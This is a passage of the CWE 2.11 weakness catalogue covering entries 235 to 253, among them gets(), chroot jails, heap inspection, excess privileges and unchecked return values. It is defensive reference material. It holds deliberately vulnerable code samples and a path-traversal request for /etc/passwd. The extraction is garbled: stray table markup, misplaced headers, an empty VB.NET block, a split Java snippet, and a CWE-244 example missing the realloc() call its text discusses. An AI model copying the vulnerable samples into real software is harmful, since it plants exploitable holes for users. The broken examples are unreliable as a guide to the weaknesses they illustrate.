This entry will be deprecated in a future version of CWE. The term "missing parameter" was used in both PLOVER and CLASP, with completely different meanings. However, data from both taxonomies was merged into this entry. In PLOVER, it was meant to cover malformed inputs that do not contain required parameters, such as a missing parameter in a CGI request. This entry's observed examples and classification came from PLOVER. However, the description, demonstrative example, and other information are derived from CLASP. They are related to an incorrect number of function arguments, which is already covered by CWE-685.

CWE-235: Improper Handling of Extra Parameters

**Weakness ID:** 235 *(Weakness Variant)*

**Description**

**Summary**

The software does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.

**Time of Introduction**

- Architecture and Design
CWE Version 2.11
CWE-236: Improper Handling of Undefined Parameters

- Implementation

Applicable Platforms

Languages
- All

Modes of Introduction
This typically occurs in situations when only one element is expected to be specified.

Common Consequences

Integrity
Unexpected state

Observed Examples

</tr>
</tbody>
</table>

Potential Mitigations
Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-242: Use of Inherently Dangerous Function

Weakness ID: 242 (Weakness Base)  Status: Draft

Description

Summary

The program calls a function that can never be guaranteed to work safely.

Extended Description

Certain functions behave in dangerous ways regardless of how they are used. Functions in this category were often implemented without taking security concerns into account. The gets() function is unsafe because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to gets() and overflow the destination buffer. Similarly, the >> operator is unsafe to use when reading into a statically-allocated character array because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to the >> operator and overflow the destination buffer.
CWE Version 2.11
CWE-242: Use of Inherently Dangerous Function

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++

Common Consequences
Other
Varies by context

Likelihood of Exploit
High

Demonstrative Examples
Example 1:
The code below calls gets() to read information into a buffer.

C Example: Bad Code
char buf[BUFSIZE];
gets(buf);

The gets() function in C is inherently unsafe.

Example 2:
The code below calls the gets() function to read in data from the command line.

C Example: Bad Code
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}

However, the programmer uses the function gets() which is inherently unsafe because it blindly
copies all input from STDIN to the buffer without checking size. This allows the user to provide a
string that is larger than the buffer size, resulting in an overflow condition.

Potential Mitigations
Implementation
Requirements
Ban the use of dangerous functions. Use their safe equivalent.

Testing
Use grep or static analysis tools to spot usage of dangerous functions.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

</tbody>
</table>

**References**

---

**CWE-243: Creation of chroot Jail Without Changing Working Directory**

**Weakness ID:** 243 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The program uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.

**Extended Description**

Improper use of chroot() may allow attackers to escape from the chroot jail. The chroot() function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after chroot() has been called.

**Time of Introduction**

- Implementation

**Applicable Platforms**

- **Languages**
  - C
  - C++

- **Operating Systems**
  - UNIX

**Common Consequences**

- **Confidentiality**
  - Read files or directories

**Likelihood of Exploit**

High

**Demonstrative Examples**

Consider the following source code from a (hypothetical) FTP server:

**C Example:**

```c
chroot("/var/ftproot");

fgets(filename, sizeof(filename), network);
localfile = fopen(filename, "r");
while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF) {
    fwrite(buf, 1, sizeof(buf), network);
}
fclose(localfile);
```

This code is responsible for reading a filename from the network, opening the corresponding file on the local machine, and sending the contents over the network. This code could be used to implement the FTP GET command. The FTP server calls chroot() in its initialization routines in an attempt to prevent access to files outside of /var/ftproot. But because the server does not change the current working directory by calling chdir("/"), an attacker could request the file "/../../../etc/passwd" and obtain a copy of the system password file.

**Background Details**

The chroot() system call allows a process to change its perception of the root directory of the file system. After properly invoking chroot(), a process cannot access any files outside the directory tree defined by the new root directory. Such an environment is called a chroot jail and is
commonly used to prevent the possibility that a process could be subverted and used to access unauthorized files. For instance, many FTP servers run in chroot jails to prevent an attacker who discovers a new vulnerability in the server from being able to download the password file or other sensitive files on the system.

**Weakness Ordinalities**

**CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection')**

**Weakness ID:** 244 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.

**Extended Description**

When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a "heap inspection" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- C
- C++

**Common Consequences**

Confidentiality

Other

Read memory

Other

Be careful using vfork() and fork() in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.
Demonstrative Examples
The following code calls realloc() on a buffer containing sensitive data:

C Example:

```c
cleartext_buffer = get_secret();

...  
...  
scrub_memory(cleartext_buffer, 1024);
```

There is an attempt to scrub the sensitive data from memory, but realloc() is used, so a copy of the data can still be exposed in the memory originally allocated for cleartext_buffer.

White Box Definitions
A weakness where code path has:
1. start statement that stores information in a buffer
2. end statement that resize the buffer and
3. path does not contain statement that performs cleaning of the buffer

CWE-245: J2EE Bad Practices: Direct Management of Connections

<table>
<thead>
<tr>
<th>Weakness ID: 245 (Weakness Variant)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary
The J2EE application directly manages connections, instead of using the container’s connection management facilities.

Extended Description
The J2EE standard forbids the direct management of connections. It requires that applications use the container’s resource management facilities to obtain connections to resources. Every major web application container provides pooled database connection management as part of its resource management framework. Duplicating this functionality in an application is difficult and error prone, which is part of the reason it is forbidden under the J2EE standard.
CWE-245: J2EE Bad Practices: Direct Management of Connections

Quality degradation

Demonstrative Examples

In the following example, the class DatabaseConnection opens and manages a connection to a database for a J2EE application. The method openDatabaseConnection opens a connection to the database using a DriverManager to create the Connection object conn to the database specified in the string constant CONNECT_STRING.

Java Example:

```java
public class DatabaseConnection {
    private static final String CONNECT_STRING = "jdbc:mysql://localhost:3306/mysqldb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            conn = DriverManager.getConnection(CONNECT_STRING);
        } catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

The use of the DriverManager class to directly manage the connection to the database violates the J2EE restriction against the direct management of connections. The J2EE application should use the web application container's resource management facilities to obtain a connection to the database as shown in the following example.

```java
public class DatabaseConnection {
    private static final String DB_DATASRC_REF = "jdbc:mysql://localhost:3306/mysqldb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            InitialContext ctx = new InitialContext();
            DataSource datasource = (DataSource) ctx.lookup(DB_DATASRC_REF);
            conn = datasource.getConnection();
        } catch (NamingException ex) {...}
        catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

Weakness Ordinalities

CWE-246: J2EE Bad Practices: Direct Use of Sockets

Weakness ID: 246 (Weakness Variant)  Status: Draft

Description

Summary
The J2EE application directly uses sockets instead of using framework method calls.

Extended Description
The J2EE standard permits the use of sockets only for the purpose of communication with legacy systems when no higher-level protocol is available. Authoring your own communication protocol requires wrestling with difficult security issues. Without significant scrutiny by a security expert, chances are good that a custom communication protocol will suffer from security problems. Many of the same issues apply to a custom implementation of a standard protocol. While there are usually more resources available that address security concerns related to implementing a standard protocol, these resources are also available to attackers.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- Java

Common Consequences
- Other
- Quality degradation

Demonstrative Examples
The following example opens a socket to connect to a remote server.

Java Example:

```java
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Open a socket to a remote server (bad).
    Socket sock = null;
    try {
        sock = new Socket(remoteHostname, 3000);
        // Do something with the socket.
        ...
    } catch (Exception e) {
        ...
    }
}
```

A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.

Potential Mitigations

- Architecture and Design
  - Use framework method calls instead of using sockets directly.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships
CWE-247: DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision

Summary
This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>

<td>J2EE Bad Practices: Sockets</td>
<td>SFP29</td>
<td>Faulty endpoint authentication</td>
</tr>
</tbody>
</table>

CWE-248: Uncaught Exception

Description
Summary
An exception is thrown from a function, but it is not caught.

Extended Description
When an exception is not caught, it may cause the program to crash or expose sensitive information.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C++
• Java
• .NET

Common Consequences
Availability
Confidentiality
DoS: crash / exit / restart
Read application data
An uncaught exception could cause the system to be placed in a state that could lead to a crash, exposure of sensitive information or other unintended behaviors.

Demonstrative Examples
Example 1:
The following example attempts to resolve a hostname.
Java Example:
```java
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
}    ```
InetAddress addr = InetAddress.getByName(ip);
...
out.println("hello " + addr.getHostName());
}

A DNS lookup failure will cause the Servlet to throw an exception.

**Example 2:**
The _alloca() function allocates memory on the stack. If an allocation request is too large for the available stack space, _alloca() throws an exception. If the exception is not caught, the program will crash, potentially enabling a denial of service attack. _alloca() has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure _alloca_s().

**Example 3:**
EnterCriticalSection() can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the EnterCriticalSection() function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.

---

**CWE-249: DEPRECATED: Often Misused: Path Manipulation**

**Weakness ID:** 249 *(Deprecated Weakness Variant)*  
**Status:** Deprecated

**Description**

**Summary**

This entry has been deprecated because of name confusion and an accidental combination of multiple weaknesses. Most of its content has been transferred to CWE-785.

**Maintenance Notes**

This entry was deprecated for several reasons. The primary reason is over-loading of the "path manipulation" term and the description. The original description for this entry was the same as that for the "Often Misused: File System" item in the original Seven Pernicious Kingdoms paper. However, Seven Pernicious Kingdoms also has a "Path Manipulation" phrase that is for external control of pathnames (CWE-73), which is a factor in symbolic link following and path traversal, neither of which is explicitly mentioned in 7PK. Fortify uses the phrase "Often Misused: Path
Manipulation” for a broader range of problems, generally for issues related to buffer management. Given the multiple conflicting uses of this term, there is a chance that CWE users may have incorrectly mapped to this entry.

The second reason for deprecation is an implied combination of multiple weaknesses within buffer-handling functions. The focus of this entry has generally been on the path-conversion functions and their association with buffer overflows. However, some of Fortify’s Vulncat entries have the term “path manipulation” but describe a non-overflow weakness in which the buffer is not guaranteed to contain the entire pathname, i.e., there is information truncation (see CWE-222 for a similar concept). A new entry for this non-overflow weakness may be created in a future version of CWE.

CWE-250: Execution with Unnecessary Privileges

<table>
<thead>

</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
<tr>
<td>The software performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.</td>
<td></td>
</tr>
<tr>
<td><strong>Extended Description</strong></td>
<td></td>
</tr>
<tr>
<td>New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.</td>
<td></td>
</tr>
<tr>
<td>Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.</td>
<td></td>
</tr>
</tbody>
</table>

**Time of Introduction**
- Installation
- Architecture and Design
- Operation

**Applicable Platforms**
- Language-independent

**Languages**
- Mobile Application

**Architectural Paradigms**
- Mobile Application

**Modes of Introduction**
- If an application has this design problem, then it can be easier for the developer to make implementation-related errors such as CWE-271 (Privilege Dropping / Lowering Errors). In addition, the consequences of Privilege Chaining (CWE-268) can become more severe.

**Common Consequences**
- Confidentiality
- Integrity
- Availability
- Access Control
- Gain privileges / assume identity
- Execute unauthorized code or commands
- Read application data
- DoS: crash / exit / restart
  - An attacker will be able to gain access to any resources that are allowed by the extra privileges. Common results include executing code, disabling services, and reading restricted data.

**Likelihood of Exploit**
- Medium
Detection Methods

Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box
Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.

Note that this technique is only useful for privilege issues related to system resources. It is not likely to detect application-level business rules that are related to privileges, such as if a blog system allows a user to delete a blog entry without first checking that the user has administrator privileges.

Automated Static Analysis - Binary / Bytecode

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective: Compare binary / bytecode to application permission manifest
- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode

SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Dynamic Analysis with manual results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Host Application Interface Scanner
Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Manual Source Code Review (not inspections)
  Cost effective for partial coverage:
    Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Source code Weakness Analyzer
    Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Configuration Checker
    Permission Manifest Analysis

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
    Formal Methods / Correct-By-Construction
  Cost effective for partial coverage:
    Attack Modeling

Demonstrative Examples

Example 1:
This code temporarily raises the program's privileges to allow creation of a new user folder.

Python Example:

```python
def makeNewUserDir(username):
    if invalidUsername(username):
        #avoid CWE-22 and CWE-78
        print("Usernames cannot contain invalid characters")
        return False
    try:
        raisePrivileges()
        os.mkdir('/home/' + username)
        lowerPrivileges()
    except OSError:
        print('Unable to create new user directory for user:' + username)
    return True
```

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2:
The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.
CWE Version 2.11
CWE-250: Execution with Unnecessary Privileges

C Example:

```c
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Example 3:

This application intends to use a user's location to determine the timezone the user is in:

Java Example:

```java
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
setTimeZone(userCurrLocation);
```

This is unnecessary use of the location API, as this information is already available using the Android Time API. Always be sure there is not another way to obtain needed information before resorting to using the location API.

Example 4:

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

XML Example:

```xml
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Java Example:

```java
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

**Observed Examples**

</tr>
</tbody>
</table>
Potential Mitigations

Architecture and Design

Operation

Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.250.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design

Separation of Privilege

Identify and Reduce Attack Surface

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [R.250.2]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Implementation

Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.

Implementation

When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.

Implementation

If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [R.250.2]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.

Operation

System Configuration

Environment Hardening

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [R.250.4] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

References

Maintenance Notes
CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.

CWE-251: Often Misused: String Management

<table>
<thead>
<tr>
<th>Category ID: 251 (Category)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
Functions that manipulate strings encourage buffer overflows.

Applicable Platforms

Languages
- C
- C++

Demonstrative Examples
Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnxtc _mbsnsset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbsetlen

Taxonomy Mappings
| Mapped Taxonomy Name | Mapped Node Name |
---|---|
7 Pernicious Kingdoms | Often Misused: Strings

White Box Definitions
Definition: A weakness where code path has:
1. end statement that passes the string item to a string function
2. start statement that malformed the string item
Where "malformed" is defined through the following scenarios:
1. changed to unexpected value
2. incorrect syntactical structure

CWE-252: Unchecked Return Value

Weakness ID: 252 (Weakness Base)  Status: Draft

Description

Summary
The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.

Extended Description
Two common programmer assumptions are "this function call can never fail" and "it doesn't matter if this function call fails". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.

Time of Introduction
- Implementation

Applicable Platforms
- All

Common Consequences
- Availability
- Integrity
- Unexpected state
- DoS: crash / exit / restart

An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.

Likelihood of Exploit
Low

Demonstrative Examples

Example 1:
Consider the following code segment:

C Example:
```c
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the
end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

**Example 2:**
In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

**C Example:**

```c
int returnChunkSize(void *) { /* if chunk info is valid, return the size of usable memory, */
    * else, return -1 to indicate an error */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

**Example 3:**
The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

**C Example:**

```c
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

- Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
- It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
- The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

**Example 4:**
The following examples read a file into a byte array.

**C# Example:**

```c
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
    String userName = (String) i.Current();
    String pFileName = PFILE_ROOT + "/" + userName;
    StreamReader sr = new StreamReader(pFileName);
    sr.Read(byteArray,0,1024);//the file is always 1k bytes
    sr.Close();
    processPFile(userName, byteArray);
}
```
CWE Version 2.11
CWE-252: Unchecked Return Value

Java Example:

```java
FileStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "\" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
}
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 5:
The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

Java Example:

```java
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
    ...
}
...
```

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

```java
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 6:
The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

```java
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 7:
The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

```vbnet
```
In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

**Example 8:**

It is not uncommon for Java programmers to misunderstand read() and related methods that are part of many java.io classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from read() and other IO methods to ensure that they receive the amount of data they expect.

**Example 9:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

**C Example:**

```c
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. When this occurs, a NULL pointer dereference (CWE-476) will occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

**Example 10:**

The following function attempts to acquire a lock in order to perform operations on a shared resource.

**C Example:**

```c
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

**Good Code**

```c
int f(pthread_mutex_t *mutex) {
    int result;
```
result = pthread_mutex_lock(mutex);
if (0 != result)
    return result;
/* access shared resource */
return pthread_mutex_unlock(mutex);
}

Observed Examples

<td>chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).</td>
</tr>
</tbody>
</table>

Potential Mitigations

**Implementation**

**High**
Check the results of all functions that return a value and verify that the value is expected. Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

**Implementation**
Ensure that you account for all possible return values from the function.

**Implementation**
When designing a function, make sure you return a value or throw an exception in case of an error.

Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

### CWE-253: Incorrect Check of Function Return Value

<table>
<thead>
<tr>
<th>Weakness ID: 253</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

#### Description

**Summary**

The software incorrectly checks a return value from a function, which prevents the software from detecting errors or exceptional conditions.

**Extended Description**

Important and common functions will return some value about the success of its actions. This will alert the program whether or not to handle any errors caused by that function.

#### Time of Introduction

- Implementation

#### Applicable Platforms

**Languages**

- All

#### Common Consequences

**Availability**

**Integrity**

**Unexpected state**

**DoS: crash / exit / restart**

An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.

#### Likelihood of Exploit

Low

#### Demonstrative Examples

This code attempts to allocate memory for 4 integers and checks if the allocation succeeds.

**C/C++ Example:**

```
Bad Code

tmp = malloc(sizeof(int) * 4);
if (tmp < 0 ) {
    perror("Failure");
    //should have checked if the call returned 0
}
```

The code assumes that only a negative return value would indicate an error, but malloc() may return a null pointer when there is an error. The value of tmp could then be equal to 0, and the error would be missed.

#### Potential Mitigations

**Architecture and Design**

**Language Selection**

Use a language or compiler that uses exceptions and requires the catching of those exceptions.
Implementation
Properly check all functions which return a value.

Implementation
When designing any function make sure you return a value or throw an exception in case of an error.

CWE-254: Security Features

